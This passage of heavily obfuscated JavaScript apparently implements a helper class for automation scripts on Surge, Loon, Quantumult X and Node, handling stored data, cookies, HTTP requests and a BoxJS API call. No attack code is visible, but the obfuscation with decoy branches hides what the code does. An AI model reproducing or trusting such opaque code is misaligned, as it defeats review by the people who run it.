this[_0x1f1407('0x21e')][_0x1f1407('0x351')](this['env'],_0x2d191c);}['post'](_0x4e6fe9){var _0x380564=_0x417c97;if(_0x7a65a4[_0x380564('0x11b')](_0x7a65a4[_0x380564('0x27b')],_0x7a65a4[_0x380564('0x27b')]))return this[_0x380564('0x21e')][_0x380564('0x351')](this[_0x380564('0x14f')],_0x4e6fe9,_0x7a65a4[_0x380564('0x32e')]);else{function _0x5c6872(){var _0x3efd5f=_0x380564;_0x7a65a4[_0x3efd5f('0x35e')](_0x16a61e);}}}}return new class{constructor(_0x5d9557,_0x3c9458){var _0x38024c=_0x417c97;this['name']=_0x5d9557,this['http']=new _0x3e95a4(this),this['data']=null,this[_0x38024c('0x50')]=_0x38024c('0x1b3'),this[_0x38024c('0x2c9')]=[],this[_0x38024c('0x334')]=!(0x3*0x73e+0x5*-0x6bb+0xbee),this[_0x38024c('0x1e6')]=!(0x11c*-0x21+0x1b5b+-0x6*-0x18b),this[_0x38024c('0x2f7')]='\x0a',this[_0x38024c('0x313')]=new Date()[_0x38024c('0x369')](),Object[_0x38024c('0xc1')](this,_0x3c9458),this[_0x38024c('0x2ca')]('','🔔'+this['name']+_0x38024c('0xd9'));}[_0x417c97('0xca')](){var _0xe5a6e5=_0x417c97;if(_0x7a65a4['rbAfW'](_0xe5a6e5('0x15d'),_0x7a65a4[_0xe5a6e5('0xa')]))return _0x7a65a4[_0xe5a6e5('0x23')](_0xe5a6e5('0x37'),typeof module)&&!!module[_0xe5a6e5('0xae')];else{function _0x5ebe6b(){var _0x415b89=_0xe5a6e5;return _0x7a65a4['jDtys'](_0x7a65a4[_0x415b89('0x18b')],typeof _0x27cb5e);}}}[_0x417c97('0xe3')](){var _0x58ebcd=_0x417c97;return _0x7a65a4[_0x58ebcd('0x18b')]!=typeof $task;}[_0x417c97('0x246')](){var _0x5984b4=_0x417c97;if(_0x7a65a4['PJwfu']('HfBSh',_0x5984b4('0x183'))){function _0x429bad(){var _0x4730a0=_0x5984b4;_0x529d61[_0x4730a0('0x341')]('请求异常:'+_0x3fa177);}}else return _0x7a65a4[_0x5984b4('0x23')](_0x7a65a4[_0x5984b4('0x18b')],typeof $httpClient)&&_0x7a65a4[_0x5984b4('0x190')](_0x7a65a4[_0x5984b4('0x18b')],typeof $loon);}[_0x417c97('0x11f')](){return _0x7a65a4['nLNVf'](_0x7a65a4['WDZjY'],typeof $loon);}[_0x417c97('0x67')](_0x38e54c,_0x22fb2d=null){var _0x5ef46c=_0x417c97;try{return JSON[_0x5ef46c('0x2dd')](_0x38e54c);}catch{if(_0x7a65a4[_0x5ef46c('0x6f')](_0x7a65a4[_0x5ef46c('0xd2')],_0x7a65a4['ISAxB']))return _0x22fb2d;else{function _0x1bb41c(){_0xbdaf49(_0x43b16b);}}}}[_0x417c97('0xd6')](_0x5322c9,_0xf6fbc9=null){var _0x42c879=_0x417c97,_0x35284a={};_0x35284a[_0x42c879('0x1cb')]=function(_0x3a187d){var _0x4e7304=_0x42c879;return _0x7a65a4[_0x4e7304('0x35e')](_0x3a187d);};var _0x58dc80=_0x35284a;if(_0x7a65a4['KNyoe'](_0x42c879('0x41'),'fcJSZ')){function _0x71ad97(){var _0x2d5be6=_0x42c879;_0x58dc80[_0x2d5be6('0x1cb')](_0x28e5a6);}}else try{if(_0x7a65a4[_0x42c879('0x56')]!==_0x7a65a4['iOUEl']){function _0x52e25e(){var _0x3952fc=_0x42c879;return this[_0x3952fc('0x32f')](_0x12f78e[_0x3952fc('0x360')](_0x48f440),_0x2d45ed);}}else return JSON[_0x42c879('0x360')](_0x5322c9);}catch{return _0xf6fbc9;}}['getjson'](_0x2a4de1,_0x1d327a){var _0x3bbe01=_0x417c97,_0x5a8ced={};_0x5a8ced[_0x3bbe01('0x32c')]=function(_0x2cbb00,_0x5efd41){var _0x337792=_0x3bbe01;return _0x7a65a4[_0x337792('0x176')](_0x2cbb00,_0x5efd41);},_0x5a8ced[_0x3bbe01('0x1a')]=function(_0x51bb77,_0x345ca4){var _0xe0385e=_0x3bbe01;return _0x7a65a4[_0xe0385e('0x176')](_0x51bb77,_0x345ca4);},_0x5a8ced[_0x3bbe01('0xcc')]=_0x7a65a4[_0x3bbe01('0x1d1')],_0x5a8ced[_0x3bbe01('0x2e2')]=function(_0xca930d,_0x14cfb9){return _0x7a65a4['WgNFW'](_0xca930d,_0x14cfb9);};var _0x4b2c38=_0x5a8ced;let _0x5863f0=_0x1d327a;const _0x1547b7=this[_0x3bbe01('0x1b')](_0x2a4de1);if(_0x1547b7)try{if(_0x7a65a4[_0x3bbe01('0xdc')](_0x7a65a4['VaBmi'],_0x7a65a4[_0x3bbe01('0x1e7')])){function _0x1bb200(){var _0x4616c3=_0x3bbe01;this['fs']=this['fs']?this['fs']:_0x4b2c38[_0x4616c3('0x32c')](_0x841465,'fs'),this[_0x4616c3('0x86')]=this['path']?this[_0x4616c3('0x86')]:_0x4b2c38[_0x4616c3('0x1a')](_0x31b3ba,_0x4b2c38[_0x4616c3('0xcc')]);const _0x2f4960=this[_0x4616c3('0x86')][_0x4616c3('0x2b3')](this[_0x4616c3('0x50')]),_0x3bd3fc=this[_0x4616c3('0x86')][_0x4616c3('0x2b3')](_0x24dbba[_0x4616c3('0x55')](),this[_0x4616c3('0x50')]),_0x5636aa=this['fs']['existsSync'](_0x2f4960),_0x5cbf96=!_0x5636aa&&this['fs'][_0x4616c3('0x43')](_0x3bd3fc);if(_0x4b2c38[_0x4616c3('0x2e2')](!_0x5636aa,!_0x5cbf96))return{};{const _0x2a66b7=_0x5636aa?_0x2f4960:_0x3bd3fc;try{return _0x2b3ea3['parse'](this['fs'][_0x4616c3('0x1c4')](_0x2a66b7));}catch(_0x266b9b){return{};}}}}else _0x5863f0=JSON[_0x3bbe01('0x2dd')](this[_0x3bbe01('0x1b')](_0x2a4de1));}catch{}return _0x5863f0;}[_0x417c97('0x28c')](_0x4c9c9f,_0x30a2b7){var _0x520487=_0x417c97;try{if(_0x7a65a4[_0x520487('0x216')](_0x520487('0x2cb'),_0x7a65a4['CXVEB']))return this[_0x520487('0x32f')](JSON[_0x520487('0x360')](_0x4c9c9f),_0x30a2b7);else{function _0x622c8(){var _0x2b33db=_0x520487;try{if(_0x1e3dc7[_0x2b33db('0xa2')][_0x2b33db('0x23b')]){const _0x4253b4=_0x3cd904[_0x2b33db('0xa2')][_0x2b33db('0x23b')][_0x2b33db('0x345')](this[_0x2b33db('0x77')][_0x2b33db('0x1f8')][_0x2b33db('0x2dd')])[_0x2b33db('0x23f')]();_0x4253b4&&this['ckjar'][_0x2b33db('0x26f')](_0x4253b4,null),_0xf409d1[_0x2b33db('0x14')]=this[_0x2b33db('0x270')];}}catch(_0x1c8043){this[_0x2b33db('0x298')](_0x1c8043);}}}}catch{if(_0x7a65a4[_0x520487('0xdc')](_0x7a65a4[_0x520487('0x31')],_0x520487('0x368'))){function _0x420e0f(){var _0x27786a=_0x520487;_0x7a65a4[_0x27786a('0x35e')](_0x322d5b);}}else return!(0x172b+0x10e+-0x1838);}}['getScript'](_0x53d196){return new Promise(_0x2de037=>{var _0x4f1950=_0x22a4;if(_0x7a65a4[_0x4f1950('0x13')](_0x4f1950('0x1fe'),_0x4f1950('0x7'))){function _0x4af51f(){var _0x454178=_0x4f1950;const _0x397b19=_0x1a09eb['parse'](_0x4066e6);_0x1fafc4=_0x397b19?this[_0x454178('0x166')](_0x397b19,_0x26cfbe,''):_0x49921f;}}else{var _0x2a39e6={};_0x2a39e6['url']=_0x53d196,this[_0x4f1950('0x1c9')](_0x2a39e6,(_0x27b818,_0x28f706,_0x1987a4)=>_0x2de037(_0x1987a4));}});}[_0x417c97('0x2a3')](_0xc059e1,_0x43ca5c){var _0x445d3a=_0x417c97,_0x415b01={};_0x415b01[_0x445d3a('0x90')]=function(_0x2f407c,_0x5e67f6){return _0x2f407c&&_0x5e67f6;},_0x415b01[_0x445d3a('0x1a2')]=function(_0x57f3fc,_0x486eb0,_0x1c679e,_0x26fafd){return _0x7a65a4['TCyky'](_0x57f3fc,_0x486eb0,_0x1c679e,_0x26fafd);},_0x415b01['EoSze']=function(_0x43b1fc,_0x1f75da){var _0x5805f9=_0x445d3a;return _0x7a65a4[_0x5805f9('0x13')](_0x43b1fc,_0x1f75da);},_0x415b01[_0x445d3a('0x133')]=_0x7a65a4[_0x445d3a('0x127')],_0x415b01[_0x445d3a('0x31e')]=_0x7a65a4[_0x445d3a('0x2c7')],_0x415b01[_0x445d3a('0x273')]=function(_0x4d63cd,_0x1273be){var _0x1cf332=_0x445d3a;return _0x7a65a4[_0x1cf332('0x13a')](_0x4d63cd,_0x1273be);},_0x415b01[_0x445d3a('0x1df')]=_0x7a65a4[_0x445d3a('0x1fb')],_0x415b01['UkgSv']=_0x7a65a4[_0x445d3a('0x20c')];var _0x4008c7=_0x415b01;return new Promise(_0x24847e=>{var _0x221636=_0x445d3a,_0x20574a={};_0x20574a[_0x221636('0x2d7')]=function(_0x1b733f,_0x43963b){var _0x2e38dd=_0x221636;return _0x4008c7[_0x2e38dd('0x90')](_0x1b733f,_0x43963b);},_0x20574a[_0x221636('0x7b')]=function(_0x195499,_0xd22ea4,_0x3e75d1,_0x15a5d3){var _0x412fca=_0x221636;return _0x4008c7[_0x412fca('0x1a2')](_0x195499,_0xd22ea4,_0x3e75d1,_0x15a5d3);};var _0x105adb=_0x20574a;if(_0x4008c7[_0x221636('0x14e')](_0x4008c7[_0x221636('0x133')],_0x4008c7[_0x221636('0x133')])){let _0x5348a7=this[_0x221636('0x1b')]('@chavy_boxjs_userCfgs.httpapi');_0x5348a7=_0x5348a7?_0x5348a7['replace'](/\n/g,'')[_0x221636('0xa3')]():_0x5348a7;let _0x357e65=this[_0x221636('0x1b')](_0x4008c7['bdcns']);_0x357e65=_0x357e65?_0x4008c7['ZgMhE'](-0x8c5*-0x1+-0xd*-0x2a6+0xe66*-0x3,_0x357e65):-0x230a+0x5ef*0x5+0x9b*0x9,_0x357e65=_0x43ca5c&&_0x43ca5c[_0x221636('0x1fc')]?_0x43ca5c[_0x221636('0x1fc')]:_0x357e65;var _0x3d52e3={};_0x3d52e3[_0x221636('0x125')]=_0xc059e1,_0x3d52e3[_0x221636('0x1de')]=_0x4008c7[_0x221636('0x1df')],_0x3d52e3[_0x221636('0x1fc')]=_0x357e65;const [_0xa2439c,_0x572cf3]=_0x5348a7[_0x221636('0x22b')]('@'),_0x42f724={'url':_0x221636('0x280')+_0x572cf3+_0x221636('0x206'),'body':_0x3d52e3,'headers':{'X-Key':_0xa2439c,'Accept':_0x4008c7['UkgSv']}};this['post'](_0x42f724,(_0xaaf0b4,_0x66eb4d,_0x1c06d7)=>_0x24847e(_0x1c06d7));}else{function _0x1f29f3(){var _0x483f65=_0x221636;_0x105adb[_0x483f65('0x2d7')](!_0x2d85fb,_0x380cc0)&&(_0x1233f8[_0x483f65('0x19b')]=_0x4710a2,_0x321b23['statusCode']=_0x3bfc7b[_0x483f65('0x290')]),_0x105adb[_0x483f65('0x7b')](_0x5ea7fb,_0x3594fd,_0x3c1f4c,_0x47b873);}}})[_0x445d3a('0x75')](_0x1b89b6=>this[_0x445d3a('0x298')](_0x1b89b6));}[_0x417c97('0x9')](){var _0x41b9b2=_0x417c97;if(!this[_0x41b9b2('0xca')]())return{};{if(_0x7a65a4[_0x41b9b2('0x109')](_0x7a65a4[_0x41b9b2('0x1e9')],_0x7a65a4[_0x41b9b2('0x88')])){this['fs']=this['fs']?this['fs']:_0x7a65a4[_0x41b9b2('0x176')](require,'fs'),this[_0x41b9b2('0x86')]=this[_0x41b9b2('0x86')]?this[_0x41b9b2('0x86')]:_0x7a65a4['MTDLf'](require,_0x7a65a4[_0x41b9b2('0x1d1')]);const _0x339ff4=this[_0x41b9b2('0x86')]['resolve'](this['dataFile']),_0x34c2e4=this[_0x41b9b2('0x86')][_0x41b9b2('0x2b3')](process['cwd'](),this[_0x41b9b2('0x50')]),_0x55a8e0=this['fs']['existsSync'](_0x339ff4),_0xd1a4ef=!_0x55a8e0&&this['fs']['existsSync'](_0x34c2e4);if(_0x7a65a4[_0x41b9b2('0x331')](!_0x55a8e0,!_0xd1a4ef))return{};{const _0x3dfc5a=_0x55a8e0?_0x339ff4:_0x34c2e4;try{return JSON[_0x41b9b2('0x2dd')](this['fs'][_0x41b9b2('0x1c4')](_0x3dfc5a));}catch(_0xc29abd){if(_0x7a65a4['arwaV'](_0x7a65a4[_0x41b9b2('0x211')],_0x7a65a4[_0x41b9b2('0x2bf')])){function _0x194c89(){var _0x11e93b=_0x41b9b2;_0x2265a7[_0x11e93b('0x341')](_0x11e93b('0x124')+_0x304862);}}else return{};}}}else{function _0x3728fd(){var _0xeaebdb=_0x41b9b2;let _0x2b0d21=_0x6250ea['openUrl']||_0x1ffeb0[_0xeaebdb('0x17')]||_0x58269[_0x7a65a4[_0xeaebdb('0x121')]],_0x167cce=_0x367a34['mediaUrl']||_0x2b98a2[_0x7a65a4[_0xeaebdb('0x137')]];var _0x1e6795={};return _0x1e6795[_0xeaebdb('0xf4')]=_0x2b0d21,_0x1e6795[_0xeaebdb('0x1c1')]=_0x167cce,_0x1e6795;}}}}[_0x417c97('0x2c8')](){var _0x2e6c7a=_0x417c97;if(this[_0x2e6c7a('0xca')]()){this['fs']=this['fs']?this['fs']:_0x7a65a4[_0x2e6c7a('0x185')](require,'fs'),this['path']=this[_0x2e6c7a('0x86')]?this['path']:require(_0x7a65a4['AjNoX']);const _0xe44825=this[_0x2e6c7a('0x86')][_0x2e6c7a('0x2b3')](this[_0x2e6c7a('0x50')]),_0xc4580f=this[_0x2e6c7a('0x86')]['resolve'](process[_0x2e6c7a('0x55')](),this[_0x2e6c7a('0x50')]),_0x1fbdce=this['fs']['existsSync'](_0xe44825),_0xc3e715=!_0x1fbdce&&this['fs'][_0x2e6c7a('0x43')](_0xc4580f),_0x5265af=JSON['stringify'](this['data']);_0x1fbdce?this['fs'][_0x2e6c7a('0xb1')](_0xe44825,_0x5265af):_0xc3e715?this['fs']['writeFileSync'](_0xc4580f,_0x5265af):this['fs'][_0x2e6c7a('0xb1')](_0xe44825,_0x5265af);}}[_0x417c97('0x166')](_0xf8e0d1,_0x17864c,_0x208d40){var _0x58daef=_0x417c97;const _0x48c694=_0x17864c[_0x58daef('0x359')](/\[(\d+)\]/g,_0x7a65a4[_0x58daef('0x73')])[_0x58daef('0x22b')]('.');let _0x34c78d=_0xf8e0d1;for(const _0x56b869 of _0x48c694)if(_0x34c78d=_0x7a65a4[_0x58daef('0x34')](Object,_0x34c78d)[_0x56b869],_0x7a65a4[_0x58daef('0x13')](void(-0x5*-0x6f7+-0x8e8+-0x19eb),_0x34c78d))return _0x208d40;return _0x34c78d;}[_0x417c97('0x2b0')](_0x525788,_0x36d0c7,_0x5f47e2){var _0x469bf5=_0x417c97;return _0x7a65a4[_0x469bf5('0x1aa')](_0x7a65a4[_0x469bf5('0x2cc')](Object,_0x525788),_0x525788)?_0x525788:(Array[_0x469bf5('0x7d')](_0x36d0c7)||(_0x36d0c7=_0x36d0c7['toString']()[_0x469bf5('0x1f5')](/[^.[\]]+/g)||[]),_0x36d0c7[_0x469bf5('0x95')](-0x23ec+0x8d4+0x1b18,-(-0x1*-0x1ed6+0x1*-0x15b3+-0x7*0x14e))[_0x469bf5('0x15')]((_0x52c043,_0x192e10,_0x5fecca)=>Object(_0x52c043[_0x192e10])===_0x52c043[_0x192e10]?_0x52c043[_0x192e10]:_0x52c043[_0x192e10]=Math[_0x469bf5('0x1ab')](_0x36d0c7[_0x5fecca+(-0x24bb*0x1+-0x1334+0x37f0)])>>0x36e+-0x10f*-0x5+-0x1*0x8b9==+_0x36d0c7[_0x5fecca+(-0xcb9+0xb*-0x35c+0x18d7*0x2)]?[]:{},_0x525788)[_0x36d0c7[_0x7a65a4[_0x469bf5('0x103')](_0x36d0c7[_0x469bf5('0x180')],-0x185d+-0x15b+0x19b9)]]=_0x5f47e2,_0x525788);}['getdata'](_0xafb9ea){var _0x17899e=_0x417c97;let _0xadadaa=this[_0x17899e('0xed')](_0xafb9ea);if(/^@/['test'](_0xafb9ea)){const [,_0x3ef1a0,_0x3182d9]=/^@(.*?)\.(.*?)$/[_0x17899e('0x2ff')](_0xafb9ea),_0x284062=_0x3ef1a0?this[_0x17899e('0xed')](_0x3ef1a0):'';if(_0x284062)try{if(_0x7a65a4['xvpRf']!==_0x17899e('0x2ef')){const _0x2ba862=JSON[_0x17899e('0x2dd')](_0x284062);_0xadadaa=_0x2ba862?this[_0x17899e('0x166')](_0x2ba862,_0x3182d9,''):_0xadadaa;}else{function _0x3e0c5b(){_0xbc7cff='';}}}catch(_0x256927){_0xadadaa='';}}return _0xadadaa;}[_0x417c97('0x32f')](_0x2fdda0,_0x23d433){var _0x5cf087=_0x417c97;let _0x295e6e=!(0x1868+0x70b+-0x1f72);if(/^@/[_0x5cf087('0x2ac')](_0x23d433)){if(_0x7a65a4['LJUXc']===_0x7a65a4[_0x5cf087('0x94')]){function _0x5874f1(){var _0x550ee2=_0x5cf087;const _0x4e96e8=_0x4a9c7a[_0x550ee2('0x359')](/\[(\d+)\]/g,'.$1')['split']('.');let _0xacf19=_0x4cdfc9;for(const _0x2efe55 of _0x4e96e8)if(_0xacf19=_0x58eba8(_0xacf19)[_0x2efe55],void(0x2038+-0x2*-0x20+-0x2078)===_0xacf19)return _0x405479;return _0xacf19;}}else{const [,_0x1bb2e9,_0x299932]=/^@(.*?)\.(.*?)$/['exec'](_0x23d433),_0x2b8935=this[_0x5cf087('0xed')](_0x1bb2e9),_0x1dfae3=_0x1bb2e9?_0x7a65a4[_0x5cf087('0x87')](_0x5cf087('0x2e5'),_0x2b8935)?null:_0x2b8935||'{}':'{}';try{const _0x15b09a=JSON[_0x5cf087('0x2dd')](_0x1dfae3);this['lodash_set'](_0x15b09a,_0x299932,_0x2fdda0),_0x295e6e=this[_0x5cf087('0x233')](JSON[_0x5cf087('0x360')](_0x15b09a),_0x1bb2e9);}catch(_0x55c34d){const _0x56a204={};this['lodash_set'](_0x56a204,_0x299932,_0x2fdda0),_0x295e6e=this[_0x5cf087('0x233')](JSON['stringify'](_0x56a204),_0x1bb2e9);}}}else _0x295e6e=this['setval'](_0x2fdda0,_0x23d433);return _0x295e6e;}[_0x417c97('0xed')](_0x275806){var _0x2fd20e=_0x417c97;if(_0x7a65a4[_0x2fd20e('0x87')](_0x7a65a4[_0x2fd20e('0x361')],_0x2fd20e('0x230')))return this['isSurge']()||this[_0x2fd20e('0x11f')]()?$persistentStore[_0x2fd20e('0x196')](_0x275806):this['isQuanX']()?$prefs[_0x2fd20e('0x304')](_0x275806):this[_0x2fd20e('0xca')]()?(this[_0x2fd20e('0x2db')]=this['loaddata'](),this['data'][_0x275806]):this['data']&&this[_0x2fd20e('0x2db')][_0x275806]||null;else{function _0x17d554(){var _0x43eb92=_0x2fd20e;this[_0x43eb92('0x298')](_0x1c75d3);}}}['setval'](_0x1e52c3,_0x1028c4){var _0x3355b3=_0x417c97;return this['isSurge']()||this[_0x3355b3('0x11f')]()?$persistentStore[_0x3355b3('0x3d')](_0x1e52c3,_0x1028c4):this[_0x3355b3('0xe3')]()?$prefs[_0x3355b3('0x11')](_0x1e52c3,_0x1028c4):this[_0x3355b3('0xca')]()?(this[_0x3355b3('0x2db')]=this[_0x3355b3('0x9')](),this[_0x3355b3('0x2db')][_0x1028c4]=_0x1e52c3,this[_0x3355b3('0x2c8')](),!(-0x2458*0x1+0x1523+-0x11*-0xe5)):this[_0x3355b3('0x2db')]&&this[_0x3355b3('0x2db')][_0x1028c4]||null;}['initGotEnv'](_0x1afb47){var _0x2e8031=_0x417c97;if(_0x7a65a4[_0x2e8031('0x1aa')](_0x7a65a4[_0x2e8031('0x2c2')],_0x2e8031('0x236'))){function _0x3f9231(){return _0x230782^(_0x57f0c2|~_0x21b050);}}else this[_0x2e8031('0x231')]=this[_0x2e8031('0x231')]?this[_0x2e8031('0x231')]:_0x7a65a4[_0x2e8031('0x2cc')](require,_0x7a65a4['Cvzdn']),this[_0x2e8031('0x77')]=this[_0x2e8031('0x77')]?this['cktough']:_0x7a65a4[_0x2e8031('0xbe')](require,_0x2e8031('0x28f')),this['ckjar']=this['ckjar']?this[_0x2e8031('0x270')]:new this['cktough'][(_0x2e8031('0x8c'))](),_0x1afb47&&(_0x1afb47['headers']=_0x1afb47[_0x2e8031('0xa2')]?_0x1afb47[_0x2e8031('0xa2')]:{},_0x7a65a4[_0x2e8031('0x87')](void(-0x222f+0xfa6+0x1289),_0x1afb47[_0x2e8031('0xa2')][_0x2e8031('0x1f8')])&&_0x7a65a4[_0x2e8031('0x11c')](void(-0x3dd*0xa+0x1ff9+0x6a9),_0x1afb47['cookieJar'])&&(_0x1afb47['cookieJar']=this['ckjar']));}[_0x417c97('0x1c9')](_0x22846e,_0x35ed0f=()=>{}){var _0x5653e7=_0x417c97,_0x1c788e={};_0x1c788e[_0x5653e7('0x141')]=function(_0x20bf34,_0xfb544d,_0x62448f,_0x4bcc18){var _0x4d5636=_0x5653e7;return _0x7a65a4[_0x4d5636('0x11e')](_0x20bf34,_0xfb544d,_0x62448f,_0x4bcc18);},_0x1c788e['CgYPi']=function(_0x2d47bc,_0x1aff5d){return _0x2d47bc^_0x1aff5d;},_0x1c788e['Hqtda']=function(_0x387e61,_0x5e201a){return _0x387e61^_0x5e201a;},_0x1c788e[_0x5653e7('0x1e0')]=function(_0x2ae112,_0x4a241f){return _0x2ae112^_0x4a241f;},_0x1c788e[_0x5653e7('0x19')]=_0x5653e7('0x195'),_0x1c788e[_0x5653e7('0x20a')]=function(_0x15a9a0){var _0x4a5085=_0x5653e7;return _0x7a65a4[_0x4a5085('0x35e')](_0x15a9a0);};var _0xb32e32=_0x1c788e;if(_0x7a65a4[_0x5653e7('0x1aa')](_0x7a65a4[_0x5653e7('0xda')],_0x7a65a4['XMrBr'])){var _0x565971={};_0x565971[_0x5653e7('0x1f3')]=!(0x513*0x4+0x72f*0x3+-0x29d8);var _0x2ddfbe={};_0x2ddfbe[_0x5653e7('0x2ce')]=!(-0xa4f*0x1+-0x9b4*-0x1+0x9c),(_0x22846e[_0x5653e7('0xa2')]&&(delete _0x22846e[_0x5653e7('0xa2')][_0x7a65a4['GSIzM']],delete _0x22846e['headers'][_0x7a65a4[_0x5653e7('0x2fe')]]),this[_0x5653e7('0x246')]()||this[_0x5653e7('0x11f')]()?(this[_0x5653e7('0x246')]()&&this[_0x5653e7('0x1e6')]&&(_0x22846e[_0x5653e7('0xa2')]=_0x22846e[_0x5653e7('0xa2')]||{},Object[_0x5653e7('0xc1')](_0x22846e[_0x5653e7('0xa2')],_0x565971)),$httpClient['get'](_0x22846e,(_0x475ead,_0x1778e6,_0x2db563)=>{var _0x1a6284=_0x5653e7;!_0x475ead&&_0x1778e6&&(_0x1778e6['body']=_0x2db563,_0x1778e6[_0x1a6284('0x2a7')]=_0x1778e6[_0x1a6284('0x290')]),_0xb32e32[_0x1a6284('0x141')](_0x35ed0f,_0x475ead,_0x1778e6,_0x2db563);})):this['isQuanX']()?(this['isNeedRewrite']&&(_0x22846e[_0x5653e7('0x342')]=_0x22846e[_0x5653e7('0x342')]||{},Object[_0x5653e7('0xc1')](_0x22846e['opts'],_0x2ddfbe)),$task['fetch'](_0x22846e)[_0x5653e7('0xf8')](_0x2f38c8=>{var _0x58ee78=_0x5653e7;const {statusCode:_0x1bc7ce,statusCode:_0x1433bd,headers:_0x50d493,body:_0x437dbe}=_0x2f38c8;var _0x391526={};_0x391526['status']=_0x1bc7ce,_0x391526[_0x58ee78('0x2a7')]=_0x1433bd,_0x391526[_0x58ee78('0xa2')]=_0x50d493,_0x391526[_0x58ee78('0x19b')]=_0x437dbe,_0xb32e32[_0x58ee78('0x141')](_0x35ed0f,null,_0x391526,_0x437dbe);},_0x255188=>_0x35ed0f(_0x255188))):this['isNode']()&&(this[_0x5653e7('0x5f')](_0x22846e),this[_0x5653e7('0x231')](_0x22846e)['on'](_0x7a65a4['BaYnd'],(_0x3ef495,_0x4101a2)=>{var _0x3b615a=_0x5653e7;if(_0x7a65a4[_0x3b615a('0xb7')]===_0x7a65a4['DcxlF'])try{if(_0x3ef495[_0x3b615a('0xa2')][_0x7a65a4[_0x3b615a('0x7c')]]){const _0x27ec8e=_0x3ef495[_0x3b615a('0xa2')][_0x7a65a4[_0x3b615a('0x7c')]][_0x3b615a('0x345')](this['cktough'][_0x3b615a('0x1f8')][_0x3b615a('0x2dd')])[_0x3b615a('0x23f')]();_0x27ec8e&&this[_0x3b615a('0x270')]['setCookieSync'](_0x27ec8e,null),_0x4101a2[_0x3b615a('0x14')]=this['ckjar'];}}catch(_0x537587){if(_0x7a65a4['DoAlV']===_0x3b615a('0x1a4')){function _0x47b5f0(){var _0x1b8ae2=_0x3b615a;return _0xb32e32[_0x1b8ae2('0xc5')](_0xb32e32[_0x1b8ae2('0x1e2')](_0xb32e32[_0x1b8ae2('0x1e0')](_0xdd3213,0x83b1135+-0x57fc4525+-0x3*-0x2feb1150),_0x51a2c4),_0x521838);}}else this[_0x3b615a('0x298')](_0x537587);}else{function _0x145220(){var _0x48ed06=_0x3b615a;const _0x42d6ad=_0x2d042c[_0x48ed06('0x2dd')](_0x595c9f);this[_0x48ed06('0x2b0')](_0x42d6ad,_0x454006,_0x30e73c),_0xa12754=this[_0x48ed06('0x233')](_0x3ccdf5[_0x48ed06('0x360')](_0x42d6ad),_0x329443);}}})[_0x5653e7('0xf8')](_0x316448=>{var _0x1d2c3b=_0x5653e7;if(_0x1d2c3b('0x301')!==_0xb32e32[_0x1d2c3b('0x19')]){const {statusCode:_0x45699b,statusCode:_0x20c18e,headers:_0x3338b6,body:_0xae31dc}=_0x316448;var _0x301c76={};_0x301c76[_0x1d2c3b('0x290')]=_0x45699b,_0x301c76[_0x1d2c3b('0x2a7')]=_0x20c18e,_0x301c76[_0x1d2c3b('0xa2')]=_0x3338b6,_0x301c76[_0x1d2c3b('0x19b')]=_0xae31dc,_0xb32e32[_0x1d2c3b('0x141')](_0x35ed0f,null,_0x301c76,_0xae31dc);}else{function _0x465098(){var _0x3be7e1=_0x1d2c3b;_0x246c03[_0x3be7e1('0x34f')](_0x2fa0bc);}}},_0x4fbf17=>{var _0x26ee23=_0x5653e7;const {message:_0x153d4b,response:_0x145047}=_0x4fbf17;_0x7a65a4['TCyky'](_0x35ed0f,_0x153d4b,_0x145047,_0x145047&&_0x145047[_0x26ee23('0x19b')]);})));}else{function _0x55ecfb(){var _0x365cc2=_0x5653e7;_0xb32e32[_0x365cc2('0x20a')](_0x2b0b75);}}}['post'](_0x3ea3a1,_0x290118=()=>{}){var _0x3e6ede=_0x417c97,_0x492e36={};_0x492e36['oonZi']=function(_0x1887d6,_0x1cf1fc){return _0x1887d6|_0x1cf1fc;},_0x492e36['dBgYL']=function(_0x4cdd46,_0x2aa19c){var _0x11a2d9=_0x22a4;return _0x7a65a4[_0x11a2d9('0x2fb')](_0x4cdd46,_0x2aa19c);},_0x492e36['avMyy']=function(_0x4996e0,_0x192bde){var _0x19a2ca=_0x22a4;return _0x7a65a4[_0x19a2ca('0x2fb')](_0x4996e0,_0x192bde);},_0x492e36['OgxCs']=function(_0x3b48ee,_0x39d836,_0x53c59b,_0x2c2b56){var _0x1a84be=_0x22a4;return _0x7a65a4[_0x1a84be('0x11e')](_0x3b48ee,_0x39d836,_0x53c59b,_0x2c2b56);},_0x492e36[_0x3e6ede('0x264')]=function(_0x2cda4f,_0x5e2228,_0x5caeec,_0x35e51e){return _0x2cda4f(_0x5e2228,_0x5caeec,_0x35e51e);};var _0x33ba07=_0x492e36;if(_0x7a65a4[_0x3e6ede('0x1aa')](_0x7a65a4[_0x3e6ede('0x14d')],_0x7a65a4[_0x3e6ede('0x14d')])){function _0x39cdca(){var _0x559be7=_0x3e6ede;return _0x33ba07[_0x559be7('0x339')](_0x33ba07[_0x559be7('0xde')](_0x311525,_0x4d0a06),_0x33ba07[_0x559be7('0x262')](~_0x680a1d,_0x47e4ce));}}else{var _0x9b7f21={};_0x9b7f21[_0x3e6ede('0x1f3')]=!(0xa46+-0x1ef2+0x14ad);var _0x115496={};_0x115496[_0x3e6ede('0x2ce')]=!(0x3*-0x191+0x1d7e+-0x18ca);if(_0x3ea3a1[_0x3e6ede('0x19b')]&&_0x3ea3a1['headers']&&!_0x3ea3a1['headers'][_0x7a65a4[_0x3e6ede('0x85')]]&&(_0x3ea3a1['headers'][_0x7a65a4['GSIzM']]=_0x7a65a4[_0x3e6ede('0x1ae')]),_0x3ea3a1[_0x3e6ede('0xa2')]&&delete _0x3ea3a1['headers'][_0x3e6ede('0x263')],this[_0x3e6ede('0x246')]()||this['isLoon']())this['isSurge']()&&this['isNeedRewrite']&&(_0x3ea3a1[_0x3e6ede('0xa2')]=_0x3ea3a1[_0x3e6ede('0xa2')]||{},Object[_0x3e6ede('0xc1')](_0x3ea3a1[_0x3e6ede('0xa2')],_0x9b7f21)),$httpClient['post'](_0x3ea3a1,(_0x112e04,_0xc550d1,_0x970cf)=>{var 